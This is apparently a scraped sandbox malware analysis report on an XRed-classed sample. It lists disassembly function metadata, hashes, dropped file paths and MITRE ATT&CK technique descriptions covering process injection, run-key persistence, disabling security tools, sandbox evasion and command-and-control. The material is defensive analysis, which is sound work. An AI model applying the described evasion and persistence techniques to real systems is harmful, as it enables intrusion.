Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CountMessagePropSendTick
String ID: RotatingIconDisplayTHIS
API String ID: 85587915-353257254
Opcode ID: ae254c610242d8384632ee125476985424307a34f8fbd44ac376c7626b658b14
Instruction ID: bcd7b2591005da35c958eded025d60354583b539445dfbad0faf629a688495b5
Opcode Fuzzy Hash: ae254c610242d8384632ee125476985424307a34f8fbd44ac376c7626b658b14
Instruction Fuzzy Hash: 2EE0C232005758BFCB227B50CC09E867FA5EB43BB0B000020F9599A162C762CC20DE80

Function 63961E15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63961E1C
GetCommandLineW.KERNEL32(00000018,6395B187,00000000,?,?,6395AC46,?), ref: 63961E21

Part of subcall function 6394BE03: __EH_prolog3.LIBCMT ref: 6394BE0A

Part of subcall function 6394B9A7: __EH_prolog3.LIBCMT ref: 6394B9AE

Strings

showfinalerror, xrefs: 63961E3C

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$CommandLine
String ID: showfinalerror
API String ID: 1384747822-3200933950
Opcode ID: a8c3fd1bde46a544a89c36e873ee1aee42758adcd4c6a245d2718982e0424445
Instruction ID: c5b1a7f3499f817d23285a7958120e22c1bda0cafbf03f6e35a1a42367054b5c
Opcode Fuzzy Hash: a8c3fd1bde46a544a89c36e873ee1aee42758adcd4c6a245d2718982e0424445
Instruction Fuzzy Hash: 7EE0EC75A513086AEE14E7B48915BDD22B09B6AE0DF9040589145BB2C2EF28EA0D9F61

Function 6395A027 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000125,00000002), ref: 6395A031
RemovePropW.USER32(00000125,RotatingIconDisplayTHIS), ref: 6395A03E

Strings

RotatingIconDisplayTHIS, xrefs: 6395A037

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: KillPropRemoveTimer
String ID: RotatingIconDisplayTHIS
API String ID: 3686338637-353257254
Opcode ID: ff42afd3e8e3aadc71200d05f8f7966453546ee8334b4fb8e85d4b38b715c48b
Instruction ID: 6b0ce8011d72fd1858128ed1ac49d40d917dced7a4557f415b79fd6096c40ecc
Opcode Fuzzy Hash: ff42afd3e8e3aadc71200d05f8f7966453546ee8334b4fb8e85d4b38b715c48b
Instruction Fuzzy Hash: 72D01238004200EFEB217F50C80CB01BAB4BF47B86FA0C81CF492988B2C3BA84A4CF00

Function 6C5DABD9 Relevance: 5.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5DAC0D
EnterCriticalSection.KERNEL32(6C5F0168,00000000,?), ref: 6C5DAC9C
LeaveCriticalSection.KERNEL32(6C5F0168), ref: 6C5DACFB
SetLastError.KERNEL32(00000000), ref: 6C5DAD1E

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeavememset
String ID:
API String ID: 3008345650-0
Opcode ID: f8295f219e60c9288a86d59c07c134dac88b2d966ea54d1e8d7658793fec878c
Instruction ID: d56cb45d404693e75b3fdb2e3e8c5025e7720b8d5c7d0c232f8d20c71a572e79
Opcode Fuzzy Hash: f8295f219e60c9288a86d59c07c134dac88b2d966ea54d1e8d7658793fec878c
Instruction Fuzzy Hash: B4712631541349DBDB01DF18CC84F9B77B5EF84308F560495E9259AAA2C3B0ED88CF99

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\36a8a8e2fed651ec27d1eed188bb35\1028\LocalizedData.xml

C:\36a8a8e2fed651ec27d1eed188bb35\1028\SetupResources.dll

C:\36a8a8e2fed651ec27d1eed188bb35\1028\eula.rtf

C:\36a8a8e2fed651ec27d1eed188bb35\1031\LocalizedData.xml

C:\36a8a8e2fed651ec27d1eed188bb35\1031\SetupResources.dll

C:\36a8a8e2fed651ec27d1eed188bb35\1031\eula.rtf

C:\36a8a8e2fed651ec27d1eed188bb35\1033\LocalizedData.xml

C:\36a8a8e2fed651ec27d1eed188bb35\1033\SetupResources.dll

C:\36a8a8e2fed651ec27d1eed188bb35\1033\eula.rtf

C:\36a8a8e2fed651ec27d1eed188bb35\1036\LocalizedData.xml

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre